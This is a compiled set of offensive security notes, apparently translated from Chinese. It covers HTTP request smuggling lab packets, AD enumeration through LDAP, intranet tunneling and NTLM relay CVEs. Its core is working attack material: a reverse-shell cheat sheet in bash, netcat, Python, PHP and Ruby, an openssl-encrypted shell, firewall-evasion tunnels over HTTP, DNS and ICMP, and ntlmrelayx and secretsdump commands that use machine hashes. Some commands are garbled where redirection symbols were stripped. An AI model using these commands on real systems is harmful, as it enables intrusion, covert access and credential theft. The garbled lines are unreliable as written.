is stipulated that if : receives a request packet with both Content-Length and Transfer-Encoding request headers, Content-Length must be ignored during processing. This actually means that it is not a violation to include both request headers in the request packet, and the server does not need to return a 400 error. The server implementation here is more prone to problems. 2.3 CL-TE The so-called CL-TE means that when a request packet with two request headers is received, the front-end proxy server only processes the request header Content-Length, while the back-end server will comply with the provisions of RFC2616, ignore Content-Length, and process the request header Transfer-Encoding. The format of chunk transfer data is as follows, where the value of size is represented by hexadecimal. Lab address: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te Constructing packets: 1 2 3 4 5 6 7 8 9 10 11 12 POST/HTTP/1.1\r\n Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n Connection: keep-alive\r\n Content-Length: 6\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n G This response can be obtained by sending a few consecutive requests: 2.4 TE-CL The so-called TE-CL is when a request packet with two request headers is received, the front-end proxy server processes the Transfer-Encoding request header, and the back-end server processes the Content-Length request header. Lab address: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl Constructing packets: 1 2 3 4 5 6 7 8 9 10 11 12 13 POST/HTTP/1.1\r\n Host: ac041f531eabd0cd804edb62000c0025.web-security-academy.net\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n Content-Length: 4\r\n Transfer-Encoding: chunked\r\n \r\n 12\r\n GPOST/HTTP/1.1\r\n \r\n 0\r\n \r\n Since the front-end server processes Transfer-Encoding, when it reads 0\r\n\r\n, it is considered that the reading has been completed. At this time, this request is a complete request for the proxy server, and then forwarded to the back-end server. The back-end server processes the Content-Length request header. After it reads 5c\r\n, it believes that the request has ended, and the subsequent data is considered to be another request, that is: 1 2 3 4 5 6 GPOST/HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 2.5 TE-TE TE-TE, it is also easy to understand. When receiving a request packet with two request headers, both the front and back end servers process the Transfer-Encoding request header, which is indeed the standard for implementing RFC. However, the front and backend servers are not the same after all, so there is a way to perform some obfuscation operation on the Transfer-Encoding in the sent request packet, so that one of the servers does not process the Transfer-Encoding request header. In a sense it is still CL-TE or TE-CL. Lab address: https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header Constructing packets: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST/HTTP/1.1\r\n Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n Content-length: 4\r\n Transfer-Encoding: chunked\r\n Transfer-encoding: cow\r\n \r\n 5c\r\n GPOST/HTTP/1.1\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 15\r\n \r\n x=1\r\n 0\r\n \r\n
-
Title: LDAP protocol related
1 目录服务简介 The phone book used in daily life records the names, phone numbers and addresses of relatives and friends, and it is the telephone directory; the file system in the computer records the file name, size, date and other data of the file, and it is the file directory. If the data in these directories can be sorted by the system, users can easily and quickly find the required data, and the services provided by directory service (directory service) are to achieve this goal. Directory service is a special non-relational database used to store descriptive, attribute-based details and supports filtering. The difference between this kind of database and our common relational databases (Mysql, SQL Server, Oracle, etc.) is that the directory service stores data in a tree-like hierarchy, just like file directories in Linux/Unix systems. In addition, the directory service is a database optimized for search and browsing. It has excellent read performance, but poor write performance, and does not have complex functions such as transaction processing and rollback, so it is not suitable for storing and frequently modified data. To sum up, directory services are more suitable for storing information such as organizational structures. 2 LDAP 简介 LDAP (Light Directory Access Portocol) is a lightweight directory access protocol based on the X.500 standard. The LDAP protocol used to have an X.500 DAP protocol specification. This protocol is very complex and is a heavyweight protocol. Later, X.500 was simplified and the LDAP protocol was born. Compared with X.500, it became lighter than X.500. In fact, the LDAP protocol is still complex. LDAP agrees on the information interaction format, port number used, authentication method and other contents between the Client and Server. There are many versions of the implementation of the LDAP protocol. For example, Microsoft's Active Directory is an implementation of LDAP on Windows. AD implements the tree database required by LDAP, how to parse requested data and query it to the database and then return results. For example, OpenLDAP is an open source implementation of the LDAP protocol that can run on Linux. The LDAP Server we usually refer to generally refers to the server that installs and configures programs such as Active Directory and OpenLDAP. 3 LDAP 的基本模型 Every system and protocol will have its own model, and LDAP is no exception. Before understanding the basic model of LDAP, we need to understand several directory tree concepts of LDAP: Directory tree: In a directory service system, the entire directory information set can be represented as a directory information tree, and each node in the tree is an entry. Entry: Each entry is a record, and each entry has its own unique and distinctive name (DN). Object Class: objectClass, a set of attributes corresponding to a certain entity type. The object class can be inherited, so the parent class must belong to Sex will be inherited. Attribute: Information describing an aspect of an entry. An attribute consists of an attribute type and one or more attribute values. Attributes have required and non-necessary attributes. The LDAP directory stores data in a tree-like hierarchy. The top layer, the root, is called "base DN", which is like dc=geekby,dc=xyz or ou=geekby.xyz. The former method is more flexible and is also a method used in Windows AD. There are many files and directories below the root directory. In order to logically separate these large amounts of data, LDAP uses OU (Organization Unit) like other directory service agreements, which can be used to represent internal organizations of the company, such as departments, etc. and can also represent equipment, personnel, etc. At the same time, OU can also have sub-OUs to represent more detailed classifications. Each record in LDAP has a unique name DN (Distinguished Name) that is different from other records. The part at the "leaves" position is called RDN; for example, in dn:cn=tom,ou=animals,dc=geekby,dc=xyz, tom is RDN; RDN must be unique in an OU. Because the LDAP data is "tree"-shaped, and this tree can be extended infinitely, assuming you want a record on the tree, how can you find its location? Of course, first of all, we need to explain which tree (dc), then all the "forks" (ou) that pass from the root to that apple, and finally the name of this apple (cn). Knowing the tree (dc=geekby,dc=xyz), forking (ou=IT,ou=Worker,ou=Pentester), and apple (cn=abc), you can find the apple we want: 1 dn:cn=abc,ou=IT,ou=Worker,ou=Pentester,dc=geekby,dc=xyz A series of operations that utilize the LDAP protocol are defined in the functional model of LDAP. It contains three parts : Interrogation Operations: Allows querying directories and obtaining data. It contains Search Operating and Compare Operation. Update Operations: Allows to add (ADD), delete (Delete), rename (Rename) and change directories (Modify) Authentication And Control Operations allows clients to recognize themselves in a directory and can control the nature of a session. 4 LDAP 和 AD 的关系 Active Directory is a set of solutions (LDAP server + application) based on the LDAP protocol, and LDAP is one of the protocols that interact with AD. Active Directory solves fine-grained permission control "who" accesses "what" with "what permission". AD also has custom extensions above the LDAP v3 specification, such as account locking, password expiration, etc. 5 利用 LDAP 收集域信息 Normally, any authenticated user can obtain a large amount of interesting domain information through LDAP. Therefore, in the information collection stage, LDAP can be used to query and organize relevant information about the domain environment. 5.1 相关工具 adfind You can get the detailed information of the domain under the command. Use reference: http://www.joeware.net/freetools/tools/adfind/usage.htm ADExplorer is a standalone executable software that does not require installation. In addition to querying domain information, ADExplorer can also take snapshots, which can be saved locally, and can be opened using ADExplorer. ldapsearch LDAPDomainDump is developed for python and can collect and parse data through LDAP and output it into human-readable HTML formats and machine-readable JSON and CSV/TSV formats. 1 2 3 4 5 domain_groups: Groups3360 Group list of target domains domain_users: User list of the target domain domain_computers: Computer account list for the target domain domain_policy: domain policy, such as whether password is required, etc. domain_trusts: Incoming and outgoing domain attributes and whether they are trusted 5.2 获取域信息实例 Environment: 1 2 3 Domain Control :192.168.66.26 (dc.company.com) Domain user credentials: pentest\win7user:123456aB Use the tool Adfind.exe The following lists some usage examples of Adfind, mainly introducing tool parameters. We can modify the commands according to our needs and query any information we are concerned about. For example, query the group to which the controlled credential belongs, query the members of a specific group, infer the computer that the user may have permission based on the computer name, etc. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 #Query the detailed information of all users in the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc u:* #Query specific user details in the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc u:test #Query specific user-specific information in the domain (mail) adfind -h 10.1.26.128 -u company\test -up Geekby -sc u:test mail #Query all user dn information in the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc u:* -dn #Query the number of users in the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc u:* -c #Query the details of all groups in the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc g:* #Query all group details containing "Admin" in the group name within the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc g:*Admin* #Query all OU details in the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc o:* #Query the detailed information of all computers in the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc c:* #Query details of all sites in the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc site:* #Query the detailed information of all subnets in the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc subnet:* #Query the trust relationship of the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc trustdmp #Query the detailed information of spn in the domain adfind -h 10.1.26.128 -u company\test -up Geekby -sc spn:* #Search for disabled users dn adfind -h 10.1.26.128 -u company\test -up Geekby -b DC=company,DC=com -f userAccountControl:AND:=514 -dn
-
Title: Intranet tunnel penetration
内网隧道穿透 1 场景介绍 1.1 相关概念 Intranet penetration is: using various tunneling technologies to find protocols allowed by the firewall, intersperse in normal traffic, bypass the blockade of the network firewall, and achieve access to the blocked target network. Encapsulated packets are routed between two endpoints of the tunnel through a public Internet network. The logical path through which encapsulated data packets pass when they are passed on the public Internet is called a tunnel. Once the network endpoint is reached, the data will be unpacked and forwarded to the final destination. Note that tunneling technology refers to the entire process including data encapsulation, transmission and unpacking. The main functions of the tunnel protocol include:规避防火墙and加密网络流量. Common tunnels are listed as follows: Application layer: SSH, HTTP, HTTPS, DNS. Transport layer: TCP, UDP, regular port forwarding. Network layer: IPv6, ICMP, GRE. 1.2 正向代理 反向代理 In the forward proxy, proxy and client belong to the same LAN and are transparent to the server; In the reverse proxy, proxy and server belong to the same LAN and are transparent to the client. In fact, what proxy does in both proxies is to send and receive requests and responses on behalf of others, but from a structural perspective, it is just interchangeable between left and right, so the former proxy method is called forward proxy, and the latter is called reverse proxy. 1.2.1 正向代理 Lhost - proxy - Rhost In order to access Rhost, Lhost sends a request to proxy and specifies that the target is Rhost. Then proxy forwards the request to Rhost and returns the obtained content to Lhost. Simply put, the forward proxy is proxy instead of us to access Rhost. 1.2.2 反向代理 Lhost --- proxy --- firewall --- Rhost In contrast to forward proxy, Lhost only sends ordinary requests to proxy. When it is transferred to proxy, proxy judges itself, and then submits the returned data back. This benefit is that some firewalls can effectively penetrate when only proxy data is allowed to enter and exit. 1.3 转发场景 1.3.1 常见的场景 安全运维: Bypass the fortress or firewall to achieve remote management of intranet servers 内网渗透: Bypassing the fortress or firewall to attack the intranet server The target is at the network boundary, and both internal and external networks can be accessed. The host on the network boundary does not have a firewall installed, and all ports are open to the Internet. Such business scenarios rarely appear. The target is in the intranet, allowing specific application layer protocols to be out of the network (such as HTTP, SSH, DNS) and other application layer protocols (3389, 22, 445, 53, 80, 443, etc.). The target is in the intranet and cannot access the external network, but can access the boundary host. The firewall policy restricts the external network from directly accessing sensitive ports of the intranet (3389, 22, 445, etc.). Common forwarding methods: Rebound port Rebound shell socks agent 1.3.2 防火墙规则 Join the Internet Specific port mapping 80:80 Go out of the Internet ICMP Allow specific protocols (HTTP, DNS, SSH, RDP) Allow specific ports (first the mainstream port, then the full port) 1.3.3 连通性检测 Before establishing a tunnel, the first thing to do is to check whether the target machine can leave the network and what protocol can be made. Manual detection is more troublesome, so this tool is available, which can be used for batch detection with horizontal tools such as wmiexec and psexec. This tool can echo the intranet IP address and computer name in dnslog, which can realize the rapid positioning of the intranet and the outbound machine. Tools: https://github.com/uknowsec/SharpNetCheck 1 2 3 Usage: SharpNetCheck -dns -host ceye.io SharpNetCheck -http -host/ip ceye.io SharpNetCheck -all -host ceye.io 2 反弹 shell 2.1 Bash 2.1.1 Bash TCP 1 2 3 4 5 bash -i /dev/tcp/ip/port 01 bash -i /dev/tcp/ip/port 0 21 exec 5/dev/tcp/ip/port;cat 5 | while read line; do $line 25 5; done exec /bin/sh 0/dev/tcp/ip/port 10 20 0196;exec 196/dev/tcp/ip/port; sh 196 196 2196 2.1.2 Bash UDP 1 2 3 4 5 Victim: sh -i /dev/udp/10.0.0.1/4242 01 Listener: nc -u -lvp 4242 2.2 应用内反弹 shell 2.2.1 netcat 1 2 3 4 ncat ip port -e /bin/bash nc -e /bin/bash ip port rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc ip port /tmp/f rm -f x; mknod x p nc ip port0x | /bin/bash 1x 2.2.2 python 1 2 3 4 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);' # windows only python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(('dead:beef:2:125c',port,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=pty.spawn('/bin/sh');' Tips in Python environment Convert to an interactive shell: python -c 'import pty;pty.spawn('/bin/bash')' Fully interactive shell: 1 2 3 4 5 6 7 $ python -c 'import pty; pty.spawn('/bin/bash')' Ctrl-Z $ stty raw -echo $ fg $ reset $ export SHELL=bash //$ export TERM=xterm-256color 2.2.3 PHP 1 2 3 4 5 php -r '$sock=fsocopen('ip',port);exec('/bin/sh -i 3 3 23');' php -r '$s=fsocopen('ip',port);$proc=proc_open('/bin/sh -i', array(0=$s, 1=$s, 2=$s),$pipes);' php -r '$s=fsocopen('ip',port);shell_exec('/bin/sh -i 3 3 23');' 2.2.4 Ruby 1 2 3 4 ruby -rsocket -e'f=TCPSocket.open('ip',port).to_i;exec sprintf('/bin/sh -i %d %d 2%d',f,f,f)' # windows only ruby -rsocket -e 'c=TCPSocket.new('ip','port'); while(cmd=c.gets); IO.popen(cmd,'r'){|io|c.print io.read}end' 2.3 openssl 流量加密 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two # VPS generates public-private key pairs for SSL certificates openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # Listen to rebound shell in VPS openssl s_server -quiet -key key.pem -cert cert.pem -port 4433 # Use openssl to encrypt the shell's traffic on the target (linux) mkfifo /tmp/s; /bin/sh -i /tmp/s 21 | openssl s_client -quiet -connect IP:port /tmp/s; rm /tmp/s #windows openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2] # The above command will get the command from [ip]:[port1] and send it to cmd.exe for execution, and then return the result to [ip]:[port2] # Therefore, two s_servers need to be started on this machine # Send commands from port1 to cmd openssl s_server -quiet -key key.pem -cert cert.pem -port [port1] # Get the command execution result sent to port1 from port2 openssl s_server -quiet -key key.pem -cert cert.pem -port [port2] 2.4 All in One The following are several websites that automatically generate rebound shell commands: https://mrxn.net/reverse_shell.php https://ares-x.com/tools/reverse-shell/ An online encoding website that prevents special characters from being filtered, can also be used in the payload of java.lang.Runtime.exec(): http://www.jackson-t.ca/runtime-exec-payloads.html 3 应用层隧道 3.1 HTTP 隧道 3.1.1 reGeorg 建议使用 nosocket 版Tool address: https://github.com/sensepost/reGeorg How to use: Upload tunnel file Server run: python reGeorgSocksProxy.py -p 8080 -u http://ip:port/tunnel/tunnel.jsp 3.1.2 Neo-reGorg Tool address: https://github.com/L-codes/Neo-reGeorg Neo-reGeorgis a project that refactors reGeorg, with the purpose of: Improve tunnel connection security Improve availability and avoid feature detection Improve the confidentiality of transmission content Coping with more network environment scenarios How to use: Set password to generate tunnel.(aspx|ashx|jsp|jspx|php) and upload to WEB server: python3 neoreg.py generate -k password Use neoreg.py to connect to the WEB server and establish a socks5 proxy locally: python3 neoreg.py -k password -u http://xx/tunnel.php Notice Note that if your tools, such as nmap, do not support socks5 proxy settings, please use proxychains, etc. 3.1.3 其它 Tunna 1 2 3 4 5 6 7 # -u Remote proxy script address # -l represents the port of local listening # -r Remote map port # -v Output detailed data # -a The host address of the agent's remote connection python proxy.py -u http://ip/conn.aspx -l 1080 -v python proxy.py -u http://ip/conn.aspx -l 5555 -r 8080 -s -v -n abptts pystinger … 3.2 SSH 隧道 Reference: https://3nd.xyz/AD-Pentest/AD-Pentest-Hidden-Tunnel/ 3.2.1 本地端口转发 Enable port traffic forwarding function on local host For example: Execute on the intruder host (execute active connection on VPS) 1 ssh -L 8866:192.168.10.3:23 -fN 192.168.10.2 3.2.2 远程端口转发 Turn on port traffic forwarding function on remote host For example: execute on a fortress (return connection is performed on a boundary host) 1 ssh -R 8866:192.168.10.3:23 -fN 192.168.10.1 3.2.3 动态转发 - Socket Turn on the dynamic traffic forwarding function on the local host and configure the proxy For example: Execute on the intruder host 1 ssh -D 1100 -fN 192.168.10.2 3.3 DNS 隧道 Tools DNScat2 Various compiled versions: https://downloads.skullsecurity.org/dnscat2/ 3.3.1 配置解析记录 Add an A record to the DNS resolution record with the name ns1 value VPS IP address Add another NS record with the name of any subdomain name, pointing to the address ns1.yourdomain.com 3.3.2 安装 dnscat2 服务端 1 2 3 4 5 6 7 apt-get install gem apt-get install ruby-dev apt-get install libpq-dev apt-get install ruby-bundler apt-get install git git clone https://github.com/iagox86/dnscat2 bundle install 3.3.3 启动服务端 1 ruby ./dnscat2.rb dnscat.yuming.com -e open -c mima --no-cache 3.3.4 启动客户端 1 2 3 4 5 # Test whether communication can be done dnscat-client.exe -ping dnscat.yuming.com # connect dnscat-client.exe --dns domain=dnscat.yuming.com -secret mima 4 传输层 SOCKS4 supports TCP protocols such as telnet, FTP, HTTP, etc. SOCKS5 supports TCP and UDP, and supports security authentication solutions 4.1 FRP frp is written in Golang and supports cross-platform. You only need to download the binary files of the corresponding platform to execute. Tool address: https://github.com/fatedier/frp To write a configuration file, start the server first through ./frps -c ./frps.ini, and then start the client through ./frpc -c ./frpc.ini. The server is deployed on a server with public IP, and the client is placed on the springboard server where we have permissions. Both ends need to configure the configuration file. 4.1.1 服务端 1 2 3 4 5 6 7 8 9 10 [common] # frp server port bind_port=7000 # Dashboard port dashboard_port=8888 # frp server password token=123456 #Dashboard default account password dashboard_user=admin dashboard_pwd=admin Start FRP: frps -c frps.ini 4.1.2 客户端 1 2 3 4 5 6 7 8 9 10 11 12 [common] server_addr=VPS IP server_port=7000 # Align with vps token=123456 [ssh] type=tcp local_ip=127.0.0.1 local_port=22 remote_port=7000 use_encryption=true use_compression=true 4.2 iox iox is a port forwarding intranet proxy tool with functions similar to lcx/ew, but better than them. Tool address: https://github.com/EddieIvan01/iox 4.2.1 端口转发 1 2 3 4 5 6 7 8 # Port Forwarding - Go from local 8888 to 9999 ./iox fwd -l 8888 -l 9999 # Port Forwarding - Forward traffic from local 8888 to 1.1.1.1:9999 ./iox fwd -l 8888 -r 1.1.1.1:9999 # Connections 1.1.1.1:8888 and 1.1.1.1:9999, forwarding between two connections ./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999 4.2.2 代理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # Start Socks5 service locally 0.0.0.0:1080 - Forward proxy ./iox proxy -l 1080 # Reverse proxy # Turn on the Socks5 service on the controlled machine and forward the service to the public network VPS ./iox proxy -r 1.1.1.1:9999 # Forward 0.0.0.0:9999 to 0.0.0.0:1080 on VPS # You must use two commands in pairs because it contains a simple protocol to control the back connection ./iox proxy -l 9999 -l 1080 //Note that these two ports are in sequence # Then connect to the intranet host # socks5://1.1.1.1:1080 proxychains rdesktop 192.168.0.100:3389 4.3 sSocks sSocks is a socks proxy tool set that can be used to enable socks proxy services, support socks5 verification, support IPV6 and UDP, and provide reverse socks proxy services. That is, to use remote computers as socks proxy servers to bounce back to the local area, greatly facilitating intranet penetration testing. Tool address: http://sourceforge.net/projects/ssocks/ Forward proxy 1 ./ssocksd --bind 192.168.172.131 --port 1080 Reverse proxy 1 2 3 4 5 # Attacker machine listening 6020 port forwarding to 6010 ./rcsocks -l 6020 -p 6010 -vv # Victim reverse connection to proxy host 6010 port ./rssocks -s Attacker IP:6010 -vv 5 网络层 5.1 ICMP Tunnel Tool name: ICMPSH 5.1.1 服务端 The server needs to close ICMP echo: sysctl -w net.ipv4.icmp_echo_ignore_all=1 Install the server: 1 2 apt-get install python-impacket python icmpsh_m.py native IP target machine public network IP 5.1.2 客户端 1 icmpsh.exe -t Target IP -d 500 -b 30 -s 128
-
Title: NTLM Relay
NTLM Relay 1 前言 1.1 背景介绍 NTLM Relay, man-in-the-middle attack or replay attack is the same. B is an smb server, A is used to authenticate. B forwards A's authentication information to C. If A's credentials are successfully authenticated on C, the next operation can be performed, such as creating a service to execute commands. If you control some common services in the domain, such as WEB OA system, file sharing and other services, you can try using SMB relay attacks to lure domain administrators to access them to achieve the purpose of obtaining permissions from other machines. In 2001, it was first implemented by Dynamic, SMBRelay In 2004, it developed into HTTP - SMB, BlackHat, unopened In 2007, HTTP - SMB was integrated into MetaSploit In 2008, HTTP - HTTP's NTLM attack was implemented (MS08-067) 1.2 认证过程 两端模型: 三端模型: 在域环境下的 NTLM Relay 的模型: 1.3 HTTP - SMB 攻击实验 1.3.1 nmap 探测 SMB 签名 nmap Scan: 1 nmap -p445 --script=smb-security-mode.nse IP --open 1.3.2 使用 ntmlrelayx.py 测试 ntmlrelayx.py script in empire package 1 ntlmrelayx.py -tf hosts.txt -socks -smb2support Notice When launching an attack, HTTP - SMB, open port 80, and ensure that the port is not occupied. After the attack is successful, the 1080 socks port will be opened locally on the attack machine, and the target machine can be controlled through proxy tools such as proxychain. 1 2 # mac proxychain-NG proxychains4 /Users/Geekby/opt/anaconda3/bin/python secretsdump.py pentest.com/[email protected] Notice When performing authentication, you will be prompted to enter your password. Leave it blank to use the relay credentials for authentication. 1.4 Hot Potato Hot Potato is a classic example of using NTLM Relay to obtain control of high-authority users. You can refer to the article "Potato Family Power Uplift Analysis". 1.5 NTLM Relay 防御 There are currently many defense measures for NTLM replay attacks, mainly including the following: SMB LDAP Signature EAP (Enhanced Protection Authentication) LDAPS Channels Server target SPN Validation 1.5.1 SMB LDAP 签名 After the authentication is completed, all traffic between the application server and the client is protected by signature verification; the user-signed session key is generated based on the client's NTLM value, and the application server obtains it from the DC server in the NETLOGON stage; the client uses the same algorithm as DC and generates the session key based on its own NTLM value, so the man-in-the-middle attack cannot obtain the session key 1.5.2 EAP (Enhanced Protection Authentication) NTLM authentication is bound to a secure channel. During the NTLM authentication process, the last NTLM authentication data packet contains a certificate digest of the target application server. This digest is signed and protected using the client's NTLM value to prevent attacks of forgery certificates. 1.6 关于 NTLM 协议的一些总结 NT Hash=md4(unicode(hex(password))) NTLMv2 Hash=HMAC-MD5(unicode(hex(upper(username+domain))), NT Hash) NTProofStr=HMAC-MD5(challenge + data, NTLMv2 Hash) Session Key=HMAC_MD5(HMAC_MD5(NTLMv2 Response + Challenge, NTLMv2 Hash), NTLMv2 Hash) MIC=HMAC_MD5(NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE, Session key) 2 CVE-2015-0005 2.1 原理 After receiving the authentication information from the user client, the application server must rely on the domain server for authentication and send the received authentication information to the domain server. This process is based on the NETLOGON protocol. This protocol establishes a secure session between the application server and the domain server, and the secure session sharing key is generated based on the password NTLM of the application server host account. 2.1.1 NETLOGON 步骤 All are RPC remotely calling to the authentication server NetrLogonSamLoginEx NetrLogonSamLogonWithFlags NetrLogonSamLogon NetrLogonSamLogoff 2.1.2 攻击场景 User evils on win10x64en$, accesses the SMB service of the internal server win2008R2$, and uses NTLM authentication method. The domain server is Win2016-dc01$, and the authentication process is summarized as follows : win10x64en$ First initiate a connection NTLM_NEGOTIATE to the SMB 445 port of win2008R2$, and negotiate to use NTLM authentication; After receiving win2008R2$, send NTLM CHALLENGE to return to win10x64en$; After receiving NTLM CHALLENGE, win10x64en$ send an NTLM authentication message to win2008R2$; Win2008R2$'s password NTLM is shared between Win2008R2$ and the domain control server to generate a session key and create a NETLOGON secure session. Win2008R2$ calls the NetrLogonSamLogonWithFlags function of the domain server through RPC, and fills all the authentication information sent by win10x64en$ with the previous挑战信息as parameters; After the domain server receives the information, it verifies the authentication information. If the authentication is legal, it returns STATUS_SUCCESS; If the NetrLogonSamLogonWithFlags call is successful, the application server returns the NETLOGON_VALIDATION data structure, which may end with one of the following structures : NETLOGON_VALIDATIN_SA_FO , NETLOGON_VALIDATION_SAM_INFO2, NETLOGON_VALIDATION_SAM_INFO4. There is an important data in this structure, which is SessionKey, which is used for signatures, encryption, etc. between the user client and the application server; SessionKey is generated based on the client user's password NTLM. The application server obtains it from DC. The client user uses the same algorithm to generate it himself. Therefore, the application server and the client do not need to interact with SessionKey; The second parameter is the host name (Microsoft's explanation "Computer Name: The Unicode string that contains the NetBIOS name of the client computer calling this method"). The host name is the client host name that calls the function, that is, the function that the application server remotely calls through RPC. Therefore, the host name should theoretically be consistent with the host account of the secure session key between the application server and the domain server. Therefore, as long as any host in the domain can obtain the authentication information of the previous user and application server, it can initiate NETLOGON to the domain server to obtain the SessionKey, so that the data signature between the application server and the client user can be forged to meet the man-in-the-middle attack. 2.2 实战 Use smbrelayx in impack to perform man-in-the-middle attacks. If the target machine forces SMB signatures, the module will use NETLOGON to directly obtain the sessionKey for signatures. environment: 攻击机(非域内主机): 192.168.68.24 客户端服务器(被中间人攻击的服务器): SERVER-2008 目标主机、应用服务器: Windows Server 2012 - 172.16.147.130 information If it is a non-domain host, you need to specify the hash of any host in the current domain and specify the domain control IP. 1 python2 smbrelayx.py -h 172.16.147.130 -machine-account pentest-ad/SERVER-2008$ -machine-hashes bab7079288e58b875c46601f274001e6:bab7079288e58b875c46601f274001e6 -domain 172.16.147.130 You can use the -e parameter to specify the file to be executed by the target machine. If it is not specified, the hash of the target machine under the default dump, and -c can specify the command to be executed. 2.3 防御 Impact Windows Server 2012 and below, no impact on personal PC Microsoft released patch MS15-027, patched this vulnerability, checked the two fields of ComputerName and NetBIOS, and signed verification of this message authentication block. 3 CVE-2019-1019 After the CVE-2015-0005 vulnerability is patched, the domain server will verify that the two fields of ComputerName and NetBIOS are consistent. However, if the ComputerName field is missing, the domain server accepts it and does not perform integrity verification (MIC) on the authentication message. 3.1 原理 Since a lot of information in the NTLM_AUTHENTICATION message, including the ComputerName field information, is copied and obtained from NTLM-CHALLENGE, the attacker can intercept the challenge information sent to the client by the application server and delete the ComputerName field. After the client receives the challenge information, the subsequent NTLM_AUTHENTICATION will not contain the field because the ComputerName field cannot be found. Through configuration, NTLM can enable integrity verification, that is, add a field MIC (Message Integrity Code) to the authentication message. This is a function that is enabled by default in the new version. MIC is used to protect the integrity of NTLM authentication packets, i.e. NTLM_CHALLENGE. MIC achieves integrity protection through the HMAC_MD5 algorithm based on the SessionKey session key. In previous analysis, we had the ability to obtain this SessionKey, so we can recalculate the MIC after modification. The client initiates NTLM_NEGOTIATE to the application server and is captured by the replay attacker The attacker forwards NTLM_NEGOTIATE to the real application server, which is our target of attack The application server returns an NTLM_CHALLENGE to the attacker Replay attacker removes the ComputerName field in NTLM_CHALLENGE and forwards it to the client The client receives the modified NTLM_CHALLENGE and constructs NTLM_AUTHENTICATE based on this information, sending the authentication information to the playback attacker. At this time, the authentication message already contains the MIC The replay attacker initiates a NETLOGON session request to the domain server. Because the ComputerName field is missing in the authentication message, the domain server does not perform integrity verification, recognizes the authentication message, and returns a Sessionkey Replay attacker recalculates the MIC and sends a new NTLM_AUTHENTICATE to the application server After the application server receives NTLM_AUTHENTICATE, it checks the MIC and then initiates a NETLOGON session request to the domain server. The domain server returns a successful authentication response, which contains the session key, which is the same as the session key in step 6. The replay attacker successfully established a signed session with the application server and obtained the client user's access rights on the application server. If the client user is an administrator and the application server is a domain server, the replay attacker has administrator rights (client) on the domain server (application server). 3.2 实战 Use ntlmrelayx.py in impacket to perform man-in-the-middle attacks, using the -remove-target parameter. 1 python3 ntlmrelayx.py -h 172.16.147.130 -remove-target --enum-local-admins -smb2support -machine-account pentest-ad/SERVER-2008$ -machine-hashes bab7079288e58b875c46601f274001e6:bab7079288e58b875c46601f274001e6 -domain 172.16.147.130 4 CVE-2019-1040 4.1 原理 After installing the patch for CVE-2015-0005, the system checks whether the name of the NetBIOS and the ComputeName parameter of the NetrLogonSamLogonWithFlags function are the same. Therefore, the previous method of obtaining SessionKey by modifying ComputerName failed. However, if NetBIOS in the authentication information is deleted or disappeared, the authentication server will no longer perform the previous name verification, which means that we can modify the ComputerName parameter to achieve the effect of the CVE-2015-0005 vulnerability and obtain the session key. In this case, such attacks can be blocked by configuring "the server rejects any requests without NetBIOS". However, in NTLMv1, this field is not available in the NTLM message block structure, so this kind of attack is difficult to eliminate through strategies or patches in NTLMv1 scenarios, and it still has great vulnerability. When the client and the server negotiate in NTLM, they use the NegotiatFlags (i.e. the msvAvFlags field) in the figure below to identify whether MIC is needed to protect the integrity of the session, see the red box mark in the figure below. When SMB clients are certified for NTLM, the default settings require MIC for integrity verification protection. Intuitively speaking, there are generally several ways to fight against MIC. One is to modify the MIC, the prerequisite is to obtain the session key. As we saw earlier: If a protection policy is configured, the session key cannot be obtained by deleting NetBIOS; the other is to directly discard the MIC. At this time, the flag bits in the msVAvFlags field need to be modified as well as version information, because some versions must have MIC by default. 